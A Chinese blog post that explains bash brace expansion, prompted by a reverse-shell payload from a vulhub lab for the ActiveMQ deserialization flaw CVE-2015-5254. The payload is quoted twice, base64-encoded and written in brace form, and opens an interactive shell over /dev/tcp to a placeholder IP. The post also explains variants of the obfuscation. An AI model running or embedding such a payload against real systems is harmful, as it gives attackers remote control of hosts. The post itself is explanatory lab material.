linux下形如{command,parameter,parameter}执行命令 / bash花括号扩展
背景
在复现vulhub上的漏洞ActiveMQ Deserialization Vulnerability (CVE-2015-5254)时,发现官方文档给出反弹shell的payload
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}
其他部分倒是没什么说的,只是对其中的形如{command,parameter}的方式执行命令不是很理解,遂查阅了相关资料
bash扩展
bash在执行命令前,会先对整个命令进行处理或者扩展。比如使用通配符定位文件时,在执行cat /etc/passw*前会将其先扩展成cat /etc/passwd,然后再执行该条命令,这种对于通配符的处理就叫做 Pathname Expansion (路径名扩展)
bash中共有7中扩展,按优先级分别是
- Brace Expansion (花括号扩展)
- Tilde Expansion (波浪号扩展)
- Parameter and and Variable Expansion (参数和变量扩展)
- Command Substitution (命令置换)
- Arithmetic Expansion (算数扩展)
- Word Splitting (单词分割)
- Pathname Expansion (路径扩展)
下图也很好的展示了这个过程

Brace Expansion (花括号扩展)
花括号扩展是可以让bash生成任意字符串的一种扩展功能,与路径扩展非常相似,唯一不同的是生成的字符串可以是不存在的路径或者文件名。
花括号扩展使用格式分为两类
preamble+{string1,string2,...,stringN}+postscript
中间的字符串列表必须由逗号隔开,逗号前后不能有空格,如果string中有空格,则需要用单引号或者双引号括起来。
bash在实际扩展时,会生成preamble+stringX+postscript的多组字符串,其间由空格隔开
例如
leixiao@LAPTOP-H4MNA5DT:~$ echo hello{' world',' 'bash,linux}.
hello world. hello bash. hellolinux.
preamble+{<START>..<END>[..<INCR>]}+postscript
其中<START>..<END>组合而成的表达式术语叫做序列表达式(sequence expression),表示一个特定的范围。当<START>和<END>是数字时,代表的是数字范围;当<START>和<END>是单个字母时,代表的是字符范围(默认LC_ALL字符排序)。<START>和<END>必须同为数字或者字母,否则bash不认为是花括号扩展,而是原样输出,其中的<INCR>是可选的,代表的是区间范围的递增数,它必须是数字
例如
leixiao@LAPTOP-H4MNA5DT:~$ echo hello{1..5}
hello1 hello2 hello3 hello4 hello5
leixiao@LAPTOP-H4MNA5DT:~$ echo hello{1..5..2}
hello1 hello3 hello5
leixiao@LAPTOP-H4MNA5DT:~$ echo hello{a..e..2}
helloa helloc helloe
bash -i/-d
- bash -c
若用-c参数,则bash从字符串中读入命令,如果字符串后还有变量就被设定为从$0开始的位置参数
leixiao@LAPTOP-H4MNA5DT:~$ bash -c "echo hello"
hello
- bash -i
若用-i参数,则bash是交互的, 交互式shell的意思就是跟用户交互,你输入一行命令,shell就执行一行命令。当然,有交互式就有非交互式,一个 shell脚本的运行方式,就是非交互式shell
base64 -d
- base64
从标准输入中读取数据,按Ctrl+D结束输入。将输入的内容编码为base64字符串输出 - base64 -d
从标准输入中读取已经进行base64编码的内容,解码输出
管道符(|)
前一个命令的输出,作为后一个命令的输入
leixiao@LAPTOP-H4MNA5DT:~$ echo 'hello'|base64
aGVsbG8K
leixiao@LAPTOP-H4MNA5DT:~$ echo 'aGVsbG8K'|base64 -d
hello
{command,parameter,parameter}
当只输入花括号扩展的表达式时,首先会对其进行处理
例如输入{echo,hello}会变成echo hello,然后执行该语句,所以以下表达式都可以正常执行
- {e,}cho
被处理成 echo cho - e{cho,hello}
被处理成 echo ehello - ec{h,x}o
被处理成 echo ecxo
leixiao@LAPTOP-H4MNA5DT:~$ {e,}cho
cho
leixiao@LAPTOP-H4MNA5DT:~$ e{cho,hello}
ehello
leixiao@LAPTOP-H4MNA5DT:~$ ec{h,x}o
ecxo
payload
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}
这条payload的原理应该已经不言而喻了,还要提一点的是payoad前的bash -c只是在当前漏洞环境需要,依靠漏洞在这个应用中执行任意命令时需要,如果本身就在bash中的话是不用写的,还有最后的{bash,-i}也可以只写成{bash,}或者{,bash}
还有反弹shell命令本身的理解,推荐这篇文章
https://www.freebuf.com/articles/system/153986.html
参考:
https://blog.csdn.net/astrotycoon/article/details/50886676
http://linux.51yip.com/search/bash
linux下形如{command,parameter,parameter}执行命令 / bash花括号扩展的更多相关文章
- Linux下搭建实现HttpRunnerManager的异步执行、定时任务及任务监控
前言 在之前搭建的HttpRunnerManager接口测试平台,我们还有一些功能没有实现,比如异步执行.定时任务.任务监控等,要完成异步执行,需要搭建 RabbitMQ 等环境,今天我们就来实现这些 ...
- Linux下安装配置Jmeter5.1,并执行jmx文件
Windows下的jmeter是GUI模式,可查看操作,但是GUI对性能的干扰比较大,所有一般压测会在Linux上运行. 下面是Linux下安装配置Jmeter5.1,并执行jmx文件的步骤, 一.安 ...
- Linux下编译生成SO并进行调用执行
Linux下编译生成SO并进行调用执行 参考博客的博客: C编译: 动态连接库 (.so文件) - Vamei - 博客园 (cnblogs.com) C 多个动态库存在同名函数问题处理方法:-fvi ...
- Linux下的启动oracle的EM的命令
Linux下的启动oracle的EM的命令 1.启动数据库 su - oracle $sqlplus / as sysdba sql>startup 2.启动监听 $lsnrctl LSNRCT ...
- linux下查看当前用户的 三个命令
linux下查看当前用户的 三个命令 1,whoami; 2,id -un; 3,who -H 可以列出当前所有的 NAME (用户名) LINE (窗口列表) TIME(开启时间 ...
- linux 下 apache启动、停止、重启命令
原文:linux 下 apache启动.停止.重启命令 基本的操作方法: 本文假设你的apahce安装目录为/usr/local/apache2,这些方法适合任何情况 apahce启动命令: 推荐/u ...
- Linux下文件搜索、查找、查看命令
Linux下文件搜索.查找.查看命令 1.最强大的搜索命令:find 查找各种文件的命令 2.在文件资料中查找文件:locate 3.搜索命令所在的目录及别名信息:which 4.搜索命令所在的目录及 ...
- linux下sar tool command note
linux下的sar工具简介 我习惯使用的命令是 : sar -r -f /var/log/sa/sa24 sar 既能报告当前数据,也能报告历史数据 不带选项执行会以10分钟为间隔报告自午夜 ...
- 怎样在linux下编写C程序并编译执行
一.Hello, world! 在linux下输入:(以hello.c为例)首先选中文件要保存的路径(如:cd work)vi hello.c(要编辑的文件名) 输入程序:# include<s ...
随机推荐
- mssql的text字段中文乱码
问题: 1.在页面存入中文后乱码,从前端从后台发现数据未发生异常,发现是存入数据库后乱码: 经查询该字段为text字段,存入中文会乱码 如图 解决办法: 1.将text转为varchar或nvarch ...
- [PHP] PHP-FPM的access日志error日志和slow日志
PHP-FPM的错误日志建议打开,这样可以看到PHP的错误信息:一般是这个配置路径 /etc/php/7.3/fpm/pool.d/www.conf,日志目录如果需要自己建立PHP目录,一定要把权限赋 ...
- 4.Java基础_Java类型转换
import javax.swing.plaf.synth.SynthMenuBarUI; /* 类型转换 自动类型转换: 把一个表示数据范围小的数值或者变量赋值给另一个表示数据范围大的变量 强制类型 ...
- 【bzoj4559】[JLoi2016]成绩比较(dp+拉格朗日插值)
bzoj 题意: 有\(n\)位同学,\(m\)门课. 一位同学在第\(i\)门课上面获得的分数上限为\(u_i\). 定义同学\(A\)碾压同学\(B\)为每一课\(A\)同学的成绩都不低于\(B\ ...
- day2_窗口句柄切换
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2019/7/16 14:21 # @Author : 大坏男孩 # @File : d ...
- C++ 模板类示例 template class
声明和实现在一个文件中: template<class T> class book { public: book(); ~book(); private: }; template<c ...
- 快读&快写模板【附O2优化】
快读&快写模板 快读快写,顾名思义,就是提升输入和输出的速度.在这里简单介绍一下几种输入输出的优劣. C++ cin/cout 输入输出:优点是读入的时候不用管数据类型,也就是说不用背scan ...
- CF-1155 D.Beautiful Array
题目大意:现在有一个数列,还有一个数字x,你可以将这个数列中的一段连续子序列同时乘以这个数字x(当然也可以不乘),然后问你最大子段和是多少 做法:dp,你懂的 #include<iostream ...
- Ubuntu无法正常输入英文单引号符号 + 误删除package导致系统设置异常(解决方案)
1 先说解决单引号的问题 写代码,遇到了输入英文单引号无法正常输入,需要按两次,而且不是竖向,而是斜的. 然后在寻找解决方案的过程中又遇到了把中文输入法搞得不能使用的问题.破费周折!!! 对Ubunt ...
- [算法模版]子序列DP
[算法模版]子序列DP 如何求本质不同子序列个数? 朴素DP 复杂度为\(O(nq)\).其中\(q\)为字符集大小. \(dp[i]\)代表以第\(i\)个数结尾的本质不同子序列个数.注意,这里对于 ...